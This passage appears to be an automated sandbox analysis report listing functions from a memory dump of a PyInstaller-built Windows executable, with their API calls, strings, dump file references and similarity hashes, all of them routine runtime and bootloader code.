Function 00007FF6B751B2C8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF6B7514F11,?,?,?,?,00007FF6B751A48A,?,?,?,?,00007FF6B751718F), ref: 00007FF6B751B2D7
FlsSetValue.KERNEL32(?,?,?,00007FF6B7514F11,?,?,?,?,00007FF6B751A48A,?,?,?,?,00007FF6B751718F), ref: 00007FF6B751B30D
FlsSetValue.KERNEL32(?,?,?,00007FF6B7514F11,?,?,?,?,00007FF6B751A48A,?,?,?,?,00007FF6B751718F), ref: 00007FF6B751B33A
FlsSetValue.KERNEL32(?,?,?,00007FF6B7514F11,?,?,?,?,00007FF6B751A48A,?,?,?,?,00007FF6B751718F), ref: 00007FF6B751B34B
FlsSetValue.KERNEL32(?,?,?,00007FF6B7514F11,?,?,?,?,00007FF6B751A48A,?,?,?,?,00007FF6B751718F), ref: 00007FF6B751B35C
SetLastError.KERNEL32(?,?,?,00007FF6B7514F11,?,?,?,?,00007FF6B751A48A,?,?,?,?,00007FF6B751718F), ref: 00007FF6B751B377

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 341ed06667cf8b6c5416a7ef0c6dfdccbf195f5bc763a811adde1679d5f4f530
Instruction ID: 8f0d45b7c7eba19b6f41621ab2dad24c1d84020922bbc82c8f4d57c986d1eaa5
Opcode Fuzzy Hash: 341ed06667cf8b6c5416a7ef0c6dfdccbf195f5bc763a811adde1679d5f4f530
Instruction Fuzzy Hash: FA119322F0D66682FA556B3D5A4113D62929F44BB2F044734DB6FC7EF6DE2CA8518300

Function 00007FF6B7502910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF6B7501B6A), ref: 00007FF6B750295E

Strings

%s: %s, xrefs: 00007FF6B75029E8
[PYI-%d:ERROR] , xrefs: 00007FF6B7502966
Error [ANSI Fallback], xrefs: 00007FF6B75029FF
Error, xrefs: 00007FF6B7502A0E

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
API String ID: 2050909247-2962405886
Opcode ID: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction ID: 1b6fb42ce5781a95a3f00f5674bc150965e2f73fdbac7012c130e31c6e47e7c1
Opcode Fuzzy Hash: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction Fuzzy Hash: F731D623B1C68552E7209B69A8506EA6394BF887D8F400136FF8DC3769EF3CD546C600

Function 00007FF6B7502390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6B75023C8
DialogBoxIndirectParamW.USER32 ref: 00007FF6B750248E
DeleteObject.GDI32 ref: 00007FF6B75024C1
DestroyIcon.USER32 ref: 00007FF6B75024D3

Strings

Unhandled exception in script, xrefs: 00007FF6B75023F8

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 851ce5d4a208b56cb63585478e484d0f9d6918564d04618497f061aba15d8534
Instruction ID: 4f478c84f023a6a7181d3303189d0353c13e641d5c7a72d187cd9806adca5729
Opcode Fuzzy Hash: 851ce5d4a208b56cb63585478e484d0f9d6918564d04618497f061aba15d8534
Instruction Fuzzy Hash: A1313D73A1DA8289EB209F29E8552F96360FF88788F440135EB4D8BB69DF3CD105C700

Function 00007FF6B7502B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF6B750918F,?,00007FF6B7503C55), ref: 00007FF6B7502BA0
MessageBoxW.USER32 ref: 00007FF6B7502C2A

Strings

[PYI-%d:%ls] , xrefs: 00007FF6B7502BA8
WARNING, xrefs: 00007FF6B7502BAF
Warning, xrefs: 00007FF6B7502C1D

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: CurrentMessageProcess
String ID: WARNING$Warning$[PYI-%d:%ls]
API String ID: 1672936522-3797743490
Opcode ID: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction ID: da72ecbf80f5627dc225b90cb88e59fe1ea355414a45e7108239bb43256e7ea2
Opcode Fuzzy Hash: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction Fuzzy Hash: 3121A16370CB8142E7219B58F8447EA73A4FB88784F400136EF8D97665EE3CE645C740

Function 00007FF6B7502710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF6B7501B99), ref: 00007FF6B7502760

Strings

[PYI-%d:%s] , xrefs: 00007FF6B7502768
Error [ANSI Fallback], xrefs: 00007FF6B75027CF
Error, xrefs: 00007FF6B75027DE
ERROR, xrefs: 00007FF6B750276F

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction ID: d27cc552cf225ce873c0c471e34702811d2bfd65f2871a6c7cb8a80559a5c1e7
Opcode Fuzzy Hash: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction Fuzzy Hash: A5218173A1CB8142E7209B58B8417EA63A4FB88384F400136FF8D93669EF7CD2458740

Function 00007FF6B7519A88 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF6B7519AAD
GetProcAddress.KERNEL32 ref: 00007FF6B7519AC3
FreeLibrary.KERNEL32 ref: 00007FF6B7519AEA

Strings

mscoree.dll, xrefs: 00007FF6B7519AA4
CorExitProcess, xrefs: 00007FF6B7519ABC

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction ID: c11d35822f8e28045bc73a05a74d7cffedf6ea7700be129f990a706eb62ee28a
Opcode Fuzzy Hash: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction Fuzzy Hash: C7F06263B0DB4681EA108B28E48477A6330AF45761F540239D7AE865F4EF2CE188C340

Function 00007FF6B7529368 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6B7529390
_set_statfp.LIBCMT ref: 00007FF6B75293AB
_set_statfp.LIBCMT ref: 00007FF6B75293C7
_set_statfp.LIBCMT ref: 00007FF6B7529403

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 0b5d01ae10140f2002900cd2911e13b10286858eadec77d9e4a0ea4370827437
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: C0111F23E5CA0F42FA68136EE4A63791150AF69364F144634EBAEF67FACF6CA8414100

Function 00007FF6B751B390 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF6B751A5A3,?,?,00000000,00007FF6B751A83E,?,?,?,?,?,00007FF6B751A7CA), ref: 00007FF6B751B3AF
FlsSetValue.KERNEL32(?,?,?,00007FF6B751A5A3,?,?,00000000,00007FF6B751A83E,?,?,?,?,?,00007FF6B751A7CA), ref: 00007FF6B751B3CE
FlsSetValue.KERNEL32(?,?,?,00007FF6B751A5A3,?,?,00000000,00007FF6B751A83E,?,?,?,?,?,00007FF6B751A7CA), ref: 00007FF6B751B3F6
FlsSetValue.KERNEL32(?,?,?,00007FF6B751A5A3,?,?,00000000,00007FF6B751A83E,?,?,?,?,?,00007FF6B751A7CA), ref: 00007FF6B751B407
FlsSetValue.KERNEL32(?,?,?,00007FF6B751A5A3,?,?,00000000,00007FF6B751A83E,?,?,?,?,?,00007FF6B751A7CA), ref: 00007FF6B751B418

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 076d9937837767d8c0599fb7139188ad361754fd070b51876ae2b58645e7f25c
Instruction ID: a25641608412af6962b6f90a1162dd7dc15549389ad82ead16ff0720a206439a
Opcode Fuzzy Hash: 076d9937837767d8c0599fb7139188ad361754fd070b51876ae2b58645e7f25c
Instruction Fuzzy Hash: 7D119622F0DA2241F9559B2E594117962925F44BB2F488334DB7EC6EF6DD2CF8418300

Function 00007FF6B751B224 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF6B751B235
FlsSetValue.KERNEL32 ref: 00007FF6B751B254
FlsSetValue.KERNEL32 ref: 00007FF6B751B27C
FlsSetValue.KERNEL32 ref: 00007FF6B751B28D
FlsSetValue.KERNEL32 ref: 00007FF6B751B29E

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 84df6eade7ca2759e64539926e88efdc2e23a1e9973d593929f07b0eae7a4c09
Instruction ID: 2261d46ceb3bc7d2e9bc78e71854b9d4c6a5248508228b0b8a68ee9704f7abe9
Opcode Fuzzy Hash: 84df6eade7ca2759e64539926e88efdc2e23a1e9973d593929f07b0eae7a4c09
Instruction Fuzzy Hash: BF118E22E0D66341F9696B7E485117E12924F46B32F084B74DB7ECAEF3DD2DB8848301

Function 00007FF6B7515FA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7515FDC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7516106
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B75161BC

Strings

verbose, xrefs: 00007FF6B7515FB0

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction ID: f99eb74c11320d08b98c2a526d1315dc3e9ffcb2f44da47dced1f32cc0a6ef2f
Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction Fuzzy Hash: AF91BC23A0CA6681FB618F28D45037E37A1EB40B96F854136DB5E83BE6DF3DE8458341

Function 00007FF6B751FBC8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B751FEA7

Part of subcall function 00007FF6B7517A3C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7517A59

Strings

UTF-16LEUNICODE, xrefs: 00007FF6B751FE45
ccs, xrefs: 00007FF6B751FDE2
UTF-8, xrefs: 00007FF6B751FE26

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction ID: 3fc33de8bb598934345648d721c902761075629d5de7b4a27321690c4a03c39b
Opcode Fuzzy Hash: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction Fuzzy Hash: 7281D473E0E66385FBA49F2DC95027836A0AB11B4AF558535CB0AD7AF5CF2DED029301

Function 00007FF6B750D648 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6B750D673
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF6B750D70A
RtlUnwindEx.KERNEL32 ref: 00007FF6B750D764

Strings

csm, xrefs: 00007FF6B750D6F1

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction ID: 2a6e29ca6118db7ebf224c583c939c08d5583424a0c3414f13170ac969fe1405
Opcode Fuzzy Hash: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction Fuzzy Hash: 1A518B77A1D7428AEB248B19E448B787391EB44B98F518134EB4EC77A8EF7DE841D700

Function 00007FF6B750EED8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF6B750EF37
_CallSETranslator.LIBVCRUNTIME ref: 00007FF6B750EF83

Strings

RCC, xrefs: 00007FF6B750EF53
MOC, xrefs: 00007FF6B750EF4B

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction ID: 0dca6f276b202735388ca35439d1dfa12fd42c77ab39edb388c470d84faeb9dd
Opcode Fuzzy Hash: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction Fuzzy Hash: D361813390CBC585DB709B19E4407AAB7A0FB85798F144225EB9D83BA9DF7CD190CB00

Function 00007FF6B750F288 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6B750F2B0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF6B750F398

Strings

csm, xrefs: 00007FF6B750F3EA
csm, xrefs: 00007FF6B750F2D2

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction ID: 347cc6605aa26888af7f23de5ebe77f6d11b9cd7a242246b2218f23e557e36dd
Opcode Fuzzy Hash: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction Fuzzy Hash: FF516C73A0C3868AEB648B299854A6877A0FB55B98F144136DB8D87BE5CF3CE451C701

Function 00007FF6B7507E20 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF6B750352C,?,00000000,00007FF6B7503F23), ref: 00007FF6B7507F32

Strings

\, xrefs: 00007FF6B7507E97
%.*s, xrefs: 00007FF6B7507EEB
%s%c, xrefs: 00007FF6B7507EA4

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: 302ffdc47f1f131389ecc473fe7ae023bae846d875cccfc6523225b15fd92315
Instruction ID: 2d830b80e12cbc9dbe8d8da00474cc222322cf14f104e082e1db06b220a04172
Opcode Fuzzy Hash: 302ffdc47f1f131389ecc473fe7ae023bae846d875cccfc6523225b15fd92315
Instruction Fuzzy Hash: D131E66271DAC145EA218B28E4503EA6358EF84BE8F440631EF6D877E9DF3CD6458700

Function 00007FF6B7502810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF6B75028EA

Strings

[PYI-%d:%ls] , xrefs: 00007FF6B7502868
ERROR, xrefs: 00007FF6B750286F
Error, xrefs: 00007FF6B75028DD

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: Message
String ID: ERROR$Error$[PYI-%d:%ls]
API String ID: 2030045667-255084403
Opcode ID: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction ID: 0951eebf42bbb2f49d1416f930d09a427540ecae0a2d2a0830ecf9075305326d
Opcode Fuzzy Hash: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction Fuzzy Hash: F921AE63B0CB8182E7219B58F8447EA63A4FB88784F400136EF8D97669EE3CE245C740

Function 00007FF6B751C5A0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF6B751C61F
WriteFile.KERNEL32 ref: 00007FF6B751C8E7
WriteFile.KERNEL32 ref: 00007FF6B751C92D
GetLastError.KERNEL32 ref: 00007FF6B751C9E3

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
